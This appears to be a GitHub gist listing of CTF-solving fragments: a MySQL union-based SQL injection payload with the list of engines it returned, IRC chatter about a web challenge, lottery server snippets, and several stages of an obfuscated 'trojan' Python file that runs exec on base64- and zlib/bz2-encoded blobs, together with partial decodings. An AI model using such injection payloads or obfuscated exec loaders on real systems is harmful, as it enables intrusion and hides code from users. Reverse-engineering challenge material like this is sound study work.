pawlos’s gists

pawlos / engines.dump

Created October 28, 2016 19:51

Engines supported by MySQL - rosa_meltroso'/**/union/**/SELECT/**/1,ENGINE/**/FROM/**/INFORMATION_SCHEMA.ENGINES#

	1 CSV
	1 MRG_MYISAM
	1 MyISAM
	1 BLACKHOLE
	1 PERFORMANCE_SCHEMA
	1 InnoDB
	1 ARCHIVE
	1 MEMORY
	1 FEDERATED

pawlos / irc.log

Created October 28, 2016 20:08

##ekoctf chat logs

	[14:19] <gogogo> are there any hints on web100?
	[14:32] <th3_j0k3r> who is the admin for web 100?
	[15:03] <yerrang123> web 100..
	[15:10] <HRJ_> web 100 is confusing, flag is nowhere.....
	[15:19] <Mia_khaleafpad> Web 100 Hints please, trying since last 10 hours
	[15:22] <Mia_khaleafpad> Web 100 I mean !
	[15:48] <Guest78183> somebody tell me, what the fuck web100 :D.
	[15:49] <Kronogenics> Yeah I need to talk to a mod about web 100
	[15:50] <Mia_khaleafpad> Same -.-
	[15:50] <Kronogenics> Rip

pawlos / server.js

Created November 14, 2016 19:27

lottery server

	var express = require("express");
	var app = express();
	var expressWs = require('express-ws')(app);
	var fs = require("fs");

	var flag = fs.readFileSync("../flag").toString();

	app.use(express.static('.'));

	app.ws('/', function(ws, req) {

pawlos / update.js

Created November 14, 2016 19:47

code that needs to added to the page

	var msg = JSON.parse(evt.data);
	if(msg["userId"])
	{
	$("#user-id")[0].innerText = msg["userId"];
	a = window.atob(msg["userId"]);
	var s = a.split(",");
	var seed = s[0];
	var next = s[1];
	var rnd = betterRand(seed);

pawlos / suspicious.py

Created November 14, 2016 22:40

suspicious file decoded

	# 2016.10.29 17:58:07 CEST
	#Embedded file name: stage2/trojan/trojan.1.zip.packed.py
	import zlib, base64
	exec( zlib.decompress(base64.b64decode('eJw9mEtvXrcRhvf6FYI3lgAjIDm8TQttsskumwBBVgWG5LB2k9iGkgJpf32fUdrCC3/Sdw4vM+9t9OnXr19ef398tc/ny68P37/sj68Pry9fXs/Dty///vT14ecXvvq7P/jLL/754ePLnw9+E/99+vz7w4//+8Vv7ufh+H386ck+rOe/PDy++u//fP38+P79N//48unz0/dPr0+2n//2+rT28/P98vpo+8Paj58+P3779srz2+tfn2KlD59jhR/fPj8/PMbTn+LJn5/evnj81yf/5Tx+//TxKX0orf333e+ejv1u8cBvL1+feu8f/M/fPP/14fGHl5+efvvw9uP/z/bDg//h++m7p3fv3uUzLV+/61zVPo5ZS/Psqre3WcfWybf5apbTfYjrkGY73Vm8dD+y1pChNqSklm+3tK/Mdbu33UyXtztV5+g6T7ZS8y5Fs97Mh7Z6ZoN06z7ua+dZS8q51sLPJntc0WtZzVTumvXm2Qq7NbZu/fZTq/R22iwm856appnIboutuk0dqtttn3tTubfMMYZygCp5plTXVLvisckZ6ilxkcNrt68sed/GYbVq3GWfIZlVC7vflezWFt/u/fZdW4mSmfY5y2w5lzOs55N99VRSajf11nzJ6nLZ7c60y5LtFN7y1lUnDzpv9zO8cbB7xIr34pXPUo7K2Hm5X+V4vmYetVOgdsvObaySPVfbdGT0Hrc5Pe9R6vJBS7rm5nknq52l+vblK1GkVmvjEW17ya3FWumg4PDtXKes07SMpdJcvaksY1uOdM+Y+ZyUV59l1bPnNp1SerHZTq/F06x0pM5Wzfc5MkCWT0CkLqMolx2aJuC4c3cutodxDqlgaTRreea0KQYl7WO4cRgFCW1

pawlos / stage3.py

Created November 14, 2016 22:43

Decoded suspicious.py

	import random
	N=chr
	r=ord
	B=zip
	k=range
	e=len
	h=random.randint
	V=random.seed
	def X(a,b):
	return ''.join(N(r(ac)^r(bc))for ac,bc in B(a,b))

pawlos / main.py

Created November 14, 2016 22:53

main method of stage3.py script

exec(G("""1d8a1fefbdf9967daa508dc49f65847c981fe1f913d6e73e9735ac0f82e26ed3bb7379a732051f6a0cf38bf6e5c5a9be5f89987698d1a241c22919f11c25b617c90f4cdeebc1842011442cdea3c7f39fa19aa93fb84f185273752e256f6d44365d582a38fd408aa33c5b8d16a89799ceacdff02ff28777941c4318004b89af3e7f39d79e00b73d6a8f6b131cf52419498bf6cd731b8d2273fb0af455241ccbf6cd5b0508a9688285112d7a61d1eb602005f0655eb3b63f7f3f80c2b3ced8aa1c9b48b60e6886d7e504bfd3a2e62e44bf32d937c1beef96a8eb81746dea5f2c157b21e14acf82766f39dd61c724be70516915e1c0a4632d6cebeb03c554454be95cb3f42a526fefdbeb8bd2bd5927b935e9e593bab81e62fd781dd01b682b4dc8ca983262a85d642e084d584854aecdd37fbde881f9e372948b79085c5f8c637cc7a54b346ed75a51810ce68050677ea8bd93c75c6a4bedc23b711c7cdd6c791f0371ea6fbd9cd5bbee08ed5191469f543ec5269ef6987878fc84038f987286f075d8beee939968ce020d066ae814b47f153ba17250001803d843555e30d3f64a8bd8ad681b9b328051bc5fb1da60a152fa4d8e2a4ab37a6b542bce7719042468e36d66ae877185376cecf2e9d9ef05747029931c3e4cb0207e048c9f06fecdd977263460989db8c2b45f2a5e6945f68a1748f5550454e10bf67b4d

pawlos / stage3.translated.py

Created November 14, 2016 22:55

	import random

	def xor(a,b):
	return ''.join(chr(ord(ac)^ord(bc))for ac,bc in zip(a,b))

	def generate_key(seed,n):
	random.seed(seed)
	for i in range(n):
	yield chr(random.randint(0,255))

pawlos / stage4.py

Created November 14, 2016 22:56

import bz2, base64

exec(bz2.decompress(base64.b64decode('QlpoOTFBWSZTWZWpsTUADGVfgEAQUu9/8j///+q////6YAjh8MCSKKgAABGvjZozS8JIhTCGhMAmUeU2p6nlNGmnqaD1NpA9T0IZASIgAiqQAAAIwAAAARgBxkyaMQxNMBAwJpgjBMTTTQAYQ4yZNGIYmmAgYE0wRgmJppoAMIN6pJBRk0aYBGEMQ0YAQ2kaaNDAnqBJpJE0RJ6gAaANAaMho0AAANBaRtKMIzszjjs1D/Tu7eG434mJufG++m2K4zUs6YbsHcgWWp4Riw1R9yBApw4OZ3RUTE/h4QP9mnTUcf3b75+gntdeOj2RwdUBpX+MWlRtKx6ithhZlBFzRaOys3NFqxjKP45YjJppid/zqlTY1eWhi8ajpQawGZCTC6XQ0WIwllsYlnX48CXUiAhEiFhYpWpKxkqUEIWndPO1AxEEk1ZRLLLybI4i3MMUEFgrMlKQUWUGCAMQbLQ78/aX02BmobmmdLZ6Qy59Jh+G9z7lp2612r/ilpwZbn8VHF3G018Pelr7povrZrdZ8uWlSixyaolpkkNsr0wOUS61fxttkEs9k8gMoNeVXwDnzBZFEdSIRCMTDdivsHfC8ETyIOayUb6Xsq0ptxV7wcLxzbb7EbLt4tOMRkrxzSzSDvl47wu9iBDYRy04rckVig1C2pYn54erlPCyLKQO7pjDnIg9nKnF3m3E5LARESKUC1irFiCssgXseXSZLbvttNyzd8ZOt7Qrl0Z4qEhxhFbOUWv4YKUWIFMmc4ZUCjCro8WXhCgaY93iRoca4T5nLgv4FRlcmh0wOCOJiKQWYAQsYRCZalEzmZLNCNyEpkU1K0liKM0S1arYU1SnYR2OpL1py4Q1yrEoV34E6mnY94a1MzFX+EfBmThdMPgXFFLb4BIjqLE6gQ6Rh0ZTZMOKadk1GZCmbMDWRNDNKao6S4ynX031ypy5HCRIbJxHp2uBVixSI79

pawlos / stage4.decoded.py

Created November 14, 2016 22:58

	import hashlib
	AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTF=range
	AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTM=len
	AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTE=chr
	AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTD=ord
	import struct
	AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJo=struct.unpack
	AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJi=struct.pack
	import zlib
	AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTJ=zlib.crc32

Paweł Łukasik pawlos